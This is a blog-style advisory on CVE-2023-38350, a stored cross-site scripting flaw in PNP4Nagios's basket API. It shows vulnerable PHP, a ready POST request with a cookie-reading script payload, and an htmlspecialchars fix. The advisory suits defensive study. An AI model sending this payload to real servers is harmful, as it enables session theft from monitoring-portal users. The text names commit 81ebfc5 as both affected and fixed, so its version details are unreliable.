CVE-2023-38350 - Exploiting Stored XSS in PNP4Nagios Basket API (A Complete Guide)
CVE-2023-38350 is a critical vulnerability affecting PNP4Nagios up to commit 81ebfc5, including version .6.26. This bug allows attackers to perform stored Cross-site Scripting (XSS) through the AJAX controller, specifically via the basket API and its filters. In this exclusive post, you’ll learn exactly how the bug works, see code snippets, and find references you should read for a deeper dive.
What is PNP4Nagios?
PNP4Nagios is a web-based performance graphing tool designed as an add-on for Nagios. It converts collected performance data for Nagios checks into easy-to-read graphs.
What is CVE-2023-38350?
CVE-2023-38350 is a stored XSS vulnerability — one of the nastiest forms, because once the payload is saved, every user who visits the affected page is at risk. This bug was found in the AJAX controller that handles basket API and filters.
Known affected version: .6.26
- Fixed in commit: 81ebfc5
How Does The Vulnerability Work?
The basket API in PNP4Nagios processes user-submitted data without enough sanitization or encoding. If an attacker sneaks malicious JavaScript into certain API parameters, that script ends up being stored and rendered later on a web page — executing in the context of any logged-in user’s browser.
How the Attack Works
1. Attacker submits a malicious request to the basket API or filter controller, inserting a JavaScript payload in one of the API parameters (like alias).
The PNP4Nagios backend stores this value as part of the user’s basket.
3. When any user loads a page that displays data from the basket (e.g., their selected graphs), the stored value is inserted into the HTML — unsanitized.
Vulnerable Code Example
Here’s a simplified version of the vulnerable code in application/controllers/ajax_controller.php:
// Vulnerable line (before patch)
$this->basket->add_filter($this->input->post('name'), $this->input->post('alias'), $this->input->post('value'), $this->input->post('type'));
// Later, rendering the data unsanitized:
foreach ($basket as $filter) {
// XSS happens here if 'alias' contains malicious script
echo "<div>{$filter['alias']}</div>";
}
Step-by-Step Exploit Example
Say an attacker is logged into PNP4Nagios (or tricks an admin into running the request).
For instance, send a POST request
POST /pnp4nagios/ajax/basket/add HTTP/1.1
Host: [target]
Cookie: [valid session]
Content-Type: application/x-www-form-urlencoded
name=test&alias=<script>alert(document.cookie)</script>&value=1&type=host
2. Wait for Victim to Open the Basket Page
Whenever anyone opens the basket (or UI that loads the alias field), the following code would run in their browser:
<div><script>alert(document.cookie)</script></div>
3. JavaScript Executes
The alert box pops up, showing proof of XSS. Real-world attackers could steal session cookies or perform other actions.
How to Fix
Use HTML escaping (encoding) before displaying user-controlled input. Here’s a fixed version using PHP’s htmlspecialchars():
echo "<div>" . htmlspecialchars($filter['alias'], ENT_QUOTES, 'UTF-8') . "</div>";
Official GitHub Commit:
NIST NVD Record:
PNP4Nagios Home:
Impact and Recommendations
This kind of XSS is dangerous — it can lead to complete takeover of the Nagios monitoring portal, data leaks, and lateral attacks.
- If you use PNP4Nagios .6.26 or below, update immediately to a version including commit 81ebfc5.
Final Thoughts
CVE-2023-38350 is a textbook example of why user input must always be treated as untrusted. If you’re running PNP4Nagios, patch now — and review your other monitoring tools too. Stored XSS affects everyone who has access, and fixing it is critical for the health of your security posture.
Timeline
Published on: 07/15/2023 02:15:00 UTC
Last modified on: 07/26/2023 21:39:00 UTC